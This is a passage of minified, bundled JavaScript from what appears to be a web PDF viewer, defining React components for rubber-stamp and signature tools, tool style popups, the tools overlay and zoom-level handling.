n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Rb(e,t){return(Rb=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function jb(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Nb(e);if(t){var o=Nb(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Lb(this,n)}}function Lb(e,t){if(t&&("object"===Tb(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return Ib(e)}function Ib(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Nb(e){return(Nb=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function Db(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Fb="AnnotationCreateRubberStamp",Bb={standardStamps:Is.a.array.isRequired,customStamps:Is.a.array.isRequired,setSelectedStampIndex:Is.a.func.isRequired},Hb=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&Rb(e,t)}(l,e);var t,n,r,o,i,a=jb(l);function l(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,l),Db(Ib(t=a.call(this,e)),"openCustomSampModal",(function(){(0,t.props.openElement)("customStampModal")})),Db(Ib(t),"deleteCustomStamp",(function(e){var n=t.stampTool.getCustomStamps();n.splice(e,1),t.stampTool.setCustomStamps(n)})),t.stampTool=vt.getTool(Fb),t}return t=l,(n=[{key:"setRubberStamp",value:(o=regeneratorRuntime.mark((function e(t,n){var r;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return vt.setToolMode(Fb),this.props.closeElement("toolStylePopup"),r=this.props.t("rubberStamp.".concat(t.Icon)),e.next=5,this.stampTool.setRubberStamp(t,r);case 5:this.stampTool.showPreview(),this.props.setSelectedStampIndex(n);case 7:case"end":return e.stop()}}),e,this)})),i=function(){var e=this,t=arguments;return new Promise((function(n,r){var i=o.apply(e,t);function a(e){Pb(i,n,r,a,l,"next",e)}function l(e){Pb(i,n,r,a,l,"throw",e)}a(void 0)}))},function(e,t){return i.apply(this,arguments)})},{key:"render",value:function(){var e=this,t=this.props,n=(t.isMobile,t.standardStamps),r=t.customStamps,o=n.map((function(t,n){var r=t.imgSrc,o=t.annotation;return s.a.createElement("button",{key:n,className:"rubber-stamp","aria-label":"".concat(e.props.t("annotation.stamp")," ").concat(n+1),onClick:function(){return e.setRubberStamp(o,n)}},s.a.createElement("img",{src:r,alt:""}))})),i=r.map((function(t,r){var o=t.imgSrc,i=t.annotation;return s.a.createElement("div",{key:r,className:"stamp-row"},s.a.createElement("button",{className:"stamp-row-content custom-stamp","aria-label":"".concat(e.props.t("annotation.rubberStamp")," ").concat(r+1),onClick:function(){return e.setRubberStamp(i,n.length+r)}},s.a.createElement("img",{src:o,alt:""})),s.a.createElement("button",{className:"icon",onClick:function(){return e.deleteCustomStamp(r)}},s.a.createElement(cf,{glyph:"icon-delete-line"})))}));return s.a.createElement("div",{className:"rubber-stamp-overlay","data-element":"rubberStampOverlay"},s.a.createElement(xb,{id:"rubberStampTab"},s.a.createElement(Ab,{dataElement:"rubberStampTabHeader"},s.a.createElement("div",{className:"header tab-header"},s.a.createElement("div",{className:"tab-list"},s.a.createElement(Ob,{dataElement:"standardStampPanelButton"},s.a.createElement("button",{className:"tab-options-button"},this.props.t("tool.Standard"))),s.a.createElement("div",{className:"tab-options-divider"}),s.a.createElement(Ob,{dataElement:"customStampPanelButton"},s.a.createElement("button",{className:"tab-options-button"},this.props.t("tool.Custom")))))),s.a.createElement(_b,{dataElement:"standardStampPanel"},s.a.createElement(Op,{className:"standard-stamp-panel",onSwiped:function(e){e.event.stopPropagation()}},o)),s.a.createElement(_b,{dataElement:"customStampPanel"},s.a.createElement("div",{className:"custom-stamp-panel"},i),s.a.createElement("button",{className:js()({"stamp-row-content":!0,"add-btn":!0}),onClick:this.openCustomSampModal},this.props.t("component.createStampButton")))))}}])&&Mb(t.prototype,n),r&&Mb(t,r),Object.defineProperty(t,"prototype",{writable:!1}),l}(s.a.Component);Db(Hb,"propTypes",{activeToolName:Is.a.string,isDisabled:Is.a.bool,isOpen:Is.a.bool,isMobile:Is.a.bool,isActive:Is.a.bool,t:Is.a.func.isRequired,i18n:Is.a.any,openElement:Is.a.func.isRequired,closeElement:Is.a.func.isRequired,closeElements:Is.a.func.isRequired,dataElement:Is.a.string.isRequired,toggleElement:Is.a.func.isRequired}),Hb.propTypes=Bb;var Vb=Q((function(e){return{activeToolName:fi.getActiveToolName(e),isActive:fi.getActiveToolName(e)===Fb,dataElement:fi.getToolButtonObjects(e)[Fb].dataElement,standardStamps:fi.getStandardStamps(e),customStamps:fi.getCustomStamps(e)}}),{closeElements:Ps.closeElements,closeElement:Ps.closeElement,openElement:Ps.openElement,toggleElement:Ps.toggleElement,setSelectedStampIndex:Ps.setSelectedStampIndex,setStandardStamps:Ps.setStandardStamps,setCustomStamps:Ps.setCustomStamps})(xm()(Hb)),zb=function(e){var t=Rf(["(max-width: 640px)"],[!0],!1);return s.a.createElement(Vb,kb({},e,{isMobile:t}))};n(970);function Ub(e){return(Ub="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Gb(){return(Gb=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function Wb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function qb(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Wb(Object(n),!0).forEach((function(t){Jb(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Wb(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function Zb(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Yb(e,t){return(Yb=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function $b(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Qb(e);if(t){var o=Qb(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Kb(this,n)}}function Kb(e,t){if(t&&("object"===Ub(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return Xb(e)}function Xb(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Qb(e){return(Qb=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function Jb(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var ew=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&Yb(e,t)}(i,e);var t,n,r,o=$b(i);function i(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),Jb(Xb(t=o.call(this,e)),"handleClick",(function(e){!t.props.isInDesktopOnlyMode&&isMobile()&&e.target===e.currentTarget&&t.props.closeElement("toolStylePopup")})),Jb(Xb(t),"handleClickOutside",(function(e){var n=Array.from(document.querySelectorAll('[data-element="toolsOverlay"]')),r=Array.from(document.querySelectorAll('[data-element="pageNavOverlay"]')),o=vb(),i=yb(),a=Array.from(document.querySelectorAll(".Modal.open")),l=n.some((function(t){return null==t?void 0:t.contains(e.target)})),s=r.some((function(t){return null==t?void 0:t.contains(e.target)})),u=a.some((function(e){return e.classList.contains("CustomStampModal")}));l||s||u||o||i||t.props.closeElement("toolStylePopup")})),Jb(Xb(t),"handleStyleChange",(function(e,n){var r=t.props.activeToolName,o=vt.getTool(r);"function"==typeof o.complete&&o.complete(),gb(r,e,n)})),Jb(Xb(t),"handleRichTextStyleChange",(function(e,n){var r,o=t.props,i=o.activeToolName,a=o.activeToolStyle,l=vt.getTool(i),s=a.RichTextStyle[0];"function"==typeof l.complete&&l.complete(),"underline"!==e&&"line-through"!==e||(n=function(e,t){var n="",r=t["text-decoration"],o=e.underline,i="none"!==r&&!Object(gh.isUndefined)(e.underline)&&!e.underline,a=e["line-through"],l="none"!==r&&!Object(gh.isUndefined)(e["line-through"])&&!e["line-through"];o?n=(null==r?void 0:r.indexOf("underline"))>-1?r:"".concat(r||""," underline").trim():i&&(n=r.replace(/underline|word/g,"").trim());a?n=(null==r?void 0:r.indexOf("line-through"))>-1?r:"".concat(r||""," line-through").trim():l&&(n=r.replace(/line-through/g,"").trim());return n}(Jb({},e,n),s),e="text-decoration"),r={0:qb(qb({},s),{},Jb({},e,n))},gb(i,"RichTextStyle",r)})),Jb(Xb(t),"handleLineStyleChange",(function(e,n){var r=t.props.activeToolName;"start"===e?gb(r,"StartLineStyle",n):"end"===e&&gb(r,"EndLineStyle",n)})),t.popup=s.a.createRef(),t.state={left:0,top:0},t}return t=i,(n=[{key:"componentDidUpdate",value:function(e){e.isOpen||!this.props.isOpen||this.props.isDisabled||this.props.closeElements(["viewControlsOverlay","menuOverlay","signatureOverlay","zoomOverlay","redactionOverlay"])}},{key:"render",value:function(){var e,t,n,r=this.props,o=r.activeToolGroup,i=r.isDisabled,a=r.activeToolName,l=r.activeToolStyle,u=(r.isMobile,a.includes("AnnotationCreateFreeText")),c={},f=ic(a),d=a.includes("AnnotationCreateRedaction"),p=sc(f).hasLineEndings;if(i)return null;if(p){var h=Pc(a);c={StartLineStyle:h.StartLineStyle,EndLineStyle:h.EndLineStyle}}u&&(c={Font:l.Font,FontSize:l.FontSize,TextAlign:l.TextAlign,TextVerticalAlign:l.TextVerticalAlign,bold:"bold"===l.RichTextStyle[0]["font-weight"],italic:"italic"===l.RichTextStyle[0]["font-style"],underline:(null===(e=l.RichTextStyle[0]["text-decoration"])||void 0===e?void 0:e.includes("underline"))||(null===(t=l["text-decoration"])||void 0===t?void 0:t.includes("word")),strikeout:null===(n=l.RichTextStyle[0]["text-decoration"])||void 0===n?void 0:n.includes("line-through")}),d&&(c={OverlayText:l.OverlayText,Font:l.Font,FontSize:l.FontSize,TextAlign:l.TextAlign}),sc(f).availablePalettes;var m=a.includes("AnnotationCreateEllipseMeasurement"),g=s.a.createElement(ub,{key:a,toolName:a,colorMapKey:f,style:l,isFreeText:u,hideSnapModeCheckbox:m||!vt.isFullPDFEnabled(),onPropertyChange:this.handleStyleChange,onStyleChange:this.handleStyleChange,onSliderChange:function(){},onRichTextStyleChange:this.handleRichTextStyleChange,onLineStyleChange:this.handleLineStyleChange,properties:c,isRedaction:d,showLineStyleOptions:p});return"signatureTools"===o?g=s.a.createElement(s.a.Fragment,null,s.a.createElement(Pg,null),s.a.createElement(mb,null)):"rubberStampTools"===o&&(g=s.a.createElement(s.a.Fragment,null,s.a.createElement(Pg,null),s.a.createElement(zb,null))),s.a.createElement("div",{className:js()({ToolStylePopup:!0}),"data-element":"toolStylePopup",ref:this.popup},g)}}])&&Zb(t.prototype,n),r&&Zb(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);Jb(ew,"propTypes",{activeToolName:Is.a.string,activeToolStyle:Is.a.object,isDisabled:Is.a.bool,isOpen:Is.a.bool,toolButtonObjects:Is.a.object.isRequired,colorMapKey:Is.a.string,closeElement:Is.a.func.isRequired,closeElements:Is.a.func.isRequired,isInDesktopOnlyMode:Is.a.bool});var tw=Q((function(e){var t=fi.getActiveToolName(e),n=fi.getToolButtonDataElement(e,t);return{activeToolName:t,activeToolGroup:fi.getActiveToolGroup(e),toolButtonDataElement:n,activeToolStyle:fi.getActiveToolStyles(e),isDisabled:fi.isElementDisabled(e,"toolStylePopup"),isOpen:fi.isElementOpen(e,"toolStylePopup"),toolButtonObjects:fi.getToolButtonObjects(e),isInDesktopOnlyMode:fi.isInDesktopOnlyMode(e)}}),{closeElement:Ps.closeElement,closeElements:Ps.closeElements})(kg(ew)),nw=function(e){var t=Rf(["(max-width: 640px)"],[!0],!1),n=Rf(["(min-width: 641px) and (max-width: 900px)"],[!0],!1),r=Rf(["(min-width: 901px)"],[!0],!1);return s.a.createElement(tw,Gb({},e,{isMobile:t,isTablet:n,isDesktop:r}))},rw=(n(971),function(e){var t=e.isActive,n=e.isDisabled,r=e.onClick,o=e.style;return s.a.createElement("button",{className:js()({"tools-dropdown-container":!0,active:t,disabled:n}),"data-element":"styling-button",onClick:r,style:o},t?s.a.createElement(cf,{className:"tools-arrow-up",glyph:"icon-chevron-up"}):s.a.createElement(cf,{className:"tools-arrow-down",glyph:"icon-chevron-down"}))});n(972);function ow(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function iw(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){ow(i,r,o,a,l,"next",e)}function l(e){ow(i,r,o,a,l,"throw",e)}a(void 0)}))}}function aw(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return lw(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return lw(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function lw(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var sw=function(e){var t=e.t,n=aw(le((function(e){return[fi.getActiveToolName(e),fi.isElementOpen(e,"toolStylePopup"),fi.getSelectedDisplayedSignature(e),fi.getDisplayedSignatures(e)]})),4),r=n[0],o=n[1],i=n[2],a=n[3],l=re(),u=vt.getTool("AnnotationCreateSignature");return s.a.createElement("div",{className:"selected-signature-row"},i?s.a.createElement(cb,{imgSrc:i.imgSrc,onClick:iw(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,u.setSignature(i.annotation);case 2:if(vt.setToolMode("AnnotationCreateSignature"),!u.hasLocation()){e.next=8;break}return e.next=6,u.addSignature();case 6:e.next=10;break;case 8:return e.next=10,u.showPreview();case 10:case"end":return e.stop()}}),e)}))),isActive:"AnnotationCreateSignature"===r,altText:t("option.toolsOverlay.currentSignature")}):s.a.createElement(fb,null),s.a.createElement(rw,{onClick:function(){return a.length>0&&l(Ps.toggleElement("toolStylePopup"))},isActive:o,isDisabled:0===a.length}))};n(973);function uw(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function cw(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){uw(i,r,o,a,l,"next",e)}function l(e){uw(i,r,o,a,l,"throw",e)}a(void 0)}))}}function fw(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return dw(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return dw(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function dw(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var pw=function(){var e=re(),t=fw(Ks(),2),n=t[0],r=t[1],o=function(e){var t=Object(l.useRef)();return Object(l.useEffect)((function(){t.current=e})),t.current}(r.language),i=fw(Object(l.useState)(!1),2),a=i[0],u=i[1],c=fw(le((function(e){return[fi.getActiveToolName(e),fi.getSelectedStamp(e),fi.getActiveToolGroup(e)]})),3),f=c[0],d=c[1],p=c[2];Object(l.useEffect)((function(){e(Ps.setStandardStamps(n)),e(Ps.setCustomStamps(n))}),[]),Object(l.useEffect)((function(){o!==r.language&&(e(Ps.setStandardStamps(n)),e(Ps.setCustomStamps(n)))}));var h=vt.getTool("AnnotationCreateRubberStamp"),m=function(){e(Ps.setStandardStamps(n)),e(Ps.setCustomStamps(n))};Object(l.useEffect)((function(){return h.addEventListener("stampsUpdated",m),function(){h.removeEventListener("stampsUpdated",m)}}),[]);var g=fw(le((function(e){return[fi.isElementOpen(e,"toolStylePopup")]})),1)[0];return Object(l.useEffect)((function(){function e(){return(e=cw(regeneratorRuntime.mark((function e(){var t;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return vt.setToolMode("AnnotationCreateRubberStamp"),t=n("rubberStamp.".concat(d.annotation.Icon)),e.next=4,h.setRubberStamp(d.annotation,t);case 4:h.showPreview();case 5:case"end":return e.stop()}}),e)})))).apply(this,arguments)}!a&&"rubberStampTools"===p&&d?(u(!0),function(){e.apply(this,arguments)}()):a&&"rubberStampTools"!==p&&u(!1)})),s.a.createElement("div",{className:"selected-rubber-stamp-container"},s.a.createElement("div",{className:"selected-rubber-stamp"},d&&s.a.createElement(cb,{imgSrc:d.imgSrc,onClick:cw(regeneratorRuntime.mark((function e(){var t;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return vt.setToolMode("AnnotationCreateRubberStamp"),t=n("rubberStamp.".concat(d.annotation.Icon)),e.next=4,h.setRubberStamp(d.annotation,t);case 4:h.showPreview();case 5:case"end":return e.stop()}}),e)}))),isActive:"AnnotationCreateRubberStamp"===f,altText:n("option.toolsOverlay.currentStamp")})),s.a.createElement(rw,{onClick:function(){return e(Ps.toggleElement("toolStylePopup"))},isActive:g}))};n(974);function hw(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return mw(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return mw(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function mw(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var gw=function(e){var t=e.tReady,n=e.toolName,r=hw(Ks(),1)[0];return Object(l.useEffect)((function(){var e=vt.getTool(n);vt.setToolMode(n),e.showPreview()}),[n]),s.a.createElement("div",{className:"stamp-overlay"},s.a.createElement("div",{className:"no-presets"},t?r("message.toolsOverlayNoPresets"):""))};n(975);function vw(e){return(vw="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function yw(){return(yw=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function bw(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function ww(e,t){return(ww=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Ew(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=xw(e);if(t){var o=xw(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Sw(this,n)}}function Sw(e,t){if(t&&("object"===vw(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return Cw(e)}function Cw(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function xw(e){return(xw=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function Ow(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Aw=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&ww(e,t)}(i,e);var t,n,r,o=Ew(i);function i(){var e;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),Ow(Cw(e=o.call(this)),"handleWindowResize",(function(){e.setOverlayPosition(),e.forceUpdate()})),Ow(Cw(e),"setOverlayPosition",(function(){var t=e.props,n=t.activeToolGroup,r=t.activeHeaderItems.find((function(e){return e.toolGroup===n}));r&&e.setState(vp(r.dataElement,e.overlay))})),Ow(Cw(e),"handleCloseClick",(function(){(0,e.props.closeElements)(["toolsOverlay"])})),e.overlay=s.a.createRef(),e.state={left:0,right:"auto",top:"auto",isStylingOpen:!1,siblingWidth:0},e}return t=i,(n=[{key:"componentDidMount",value:function(){window.addEventListener("resize",this.handleWindowResize),this.props.isOpen&&this.setOverlayPosition()}},{key:"componentDidUpdate",value:function(e){var t=e.activeToolGroup!==this.props.activeToolGroup;!e.isOpen&&this.props.isOpen&&(this.props.closeElements(["viewControlsOverlay","menuOverlay","toolStylePopup","signatureOverlay","zoomOverlay","redactionOverlay"]),this.setOverlayPosition()),t&&this.setOverlayPosition(),""===this.props.activeToolGroup&&this.props.closeElements(["toolStylePopup"])}},{key:"componentWillUnmount",value:function(){window.removeEventListener("resize",this.handleWindowResize)}},{key:"render",value:function(){var e=this,t=this.props,n=t.t,r=t.tReady,o=t.isDisabled,i=t.isOpen,a=t.toolNames,l=t.activeToolGroup,u=t.isToolStyleOpen,c=(t.isDesktop,t.isMobile),f=t.isInDesktopOnlyMode,d=t.showPresets;if(o)return null;var p=!l||["stampTools","cropTools","fileAttachmentTools","radioButtonFieldTools","checkBoxFieldTools","contentEditTools"].includes(l),h=s.a.createElement("div",{className:"tool-buttons-container"},a.map((function(e,t){return s.a.createElement(yg,{key:"".concat(e,"-").concat(t),toolName:e,isToolStyleOpen:u})})));return"signatureTools"===l?h=s.a.createElement(sw,{t:n}):"rubberStampTools"===l?h=s.a.createElement(pw,null):"model3DTools"===l?h=s.a.createElement("div",{className:"model-3D-btn add-btn",onClick:function(){return e.props.openElement("Model3DModal")}},n("Model3D.add3D")):p||!d?h=s.a.createElement("div",{className:"no-presets"},r?n("message.toolsOverlayNoPresets"):""):["crossStampTools","checkStampTools","dotStampTools"].includes(l)&&(h=s.a.createElement(gw,{tReady:r,toolName:a[0]})),p&&c&&!f?null:s.a.createElement(Op,{onSwipedUp:function(){return e.props.closeElements(["toolStylePopup"])},onSwipedDown:function(){return e.props.closeElements(["toolStylePopup"])},preventDefaultTouchmoveEvent:!0,className:js()({ToolsOverlayContainer:!0})},s.a.createElement("div",{className:js()({Overlay:!0,ToolsOverlay:!0,open:i,shadow:u||c&&!f}),ref:this.overlay,"data-element":"toolsOverlay"},s.a.createElement("div",{className:js()({"tools-container":!0,"is-styling-open":u})},h,c&&!f&&s.a.createElement("button",{className:"close-icon-container",onClick:function(){e.props.closeElements(["toolsOverlay"]),vt.setToolMode(Qa),e.props.setActiveToolGroup("")}},s.a.createElement(cf,{glyph:"ic_close_black_24px",className:"close-icon"}))),u&&s.a.createElement(nw,null)))}}])&&bw(t.prototype,n),r&&bw(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);Ow(Aw,"propTypes",{isDisabled:Is.a.bool,isOpen:Is.a.bool,toolButtonObjects:Is.a.object,activeHeaderItems:Is.a.arrayOf(Is.a.object),activeToolGroup:Is.a.string,closeElements:Is.a.func.isRequired,setActiveToolGroup:Is.a.func.isRequired,isInDesktopOnlyMode:Is.a.bool,showPresets:Is.a.bool});var _w=Q((function(e){return{isDisabled:fi.isElementDisabled(e,"toolsOverlay"),isOpen:fi.isElementOpen(e,"toolsOverlay"),isToolStyleOpen:fi.isElementOpen(e,"toolStylePopup"),toolNames:fi.getActiveToolNamesForActiveToolGroup(e),activeHeaderItems:fi.getToolsHeaderItems(e),activeToolGroup:fi.getActiveToolGroup(e),activeToolName:fi.getActiveToolName(e),isInDesktopOnlyMode:fi.isInDesktopOnlyMode(e),showPresets:fi.shouldShowPresets(e)}}),{toggleElement:Ps.toggleElement,openElement:Ps.openElement,closeElements:Ps.closeElements,setActiveToolGroup:Ps.setActiveToolGroup})(xm()(Aw)),Tw=function(e){var t=Rf(["(max-width: 640px)"],[!0],!1),n=Rf(["(max-width: 900px)"],[!0],!1),r=Rf(["(min-width: 901px)"],[!0],!1);return s.a.createElement(_w,yw({},e,{isMobile:t,isTabletAndMobile:n,isDesktop:r}))},kw=function(e){var t;"string"==typeof e?(t=Number.parseFloat(e)/100,e.indexOf("%")===e.length-1&&console.warn("Zoom level in string format will be treated as percentage, ".concat(e," will be converted to ").concat(t))):"number"==typeof e&&(t=e);return t},Pw=function(e){return function(t){var n=kw(t);if(n){var r=Xt(),o=Yt.filter((function(e){return e<=n&&e>=r}));Kt(n),e(Ps.setZoomList(o)),window.Core.Tools.MarqueeZoomTool.setMaxZoomLevel(n)}else console.warn("Type of the argument for setMaxZoomLevel must be either string or number")}};function Mw(e){return function(e){if(Array.isArray(e))return Rw(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return Rw(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Rw(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Rw(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var jw=function(e,t){var n=Vw(Lw(e),Hw(t)),r=n.left,o=n.top;return{left:Math.max(r,4),top:o}},Lw=function(e){var t=Iw(e),n=t.left,r=t.top,o=t.right,i=t.bottom,a=e.getPageNumber(),l=Bw(n,r,a),s=Bw(o,i,a);if(e.NoZoom){var u=e instanceof 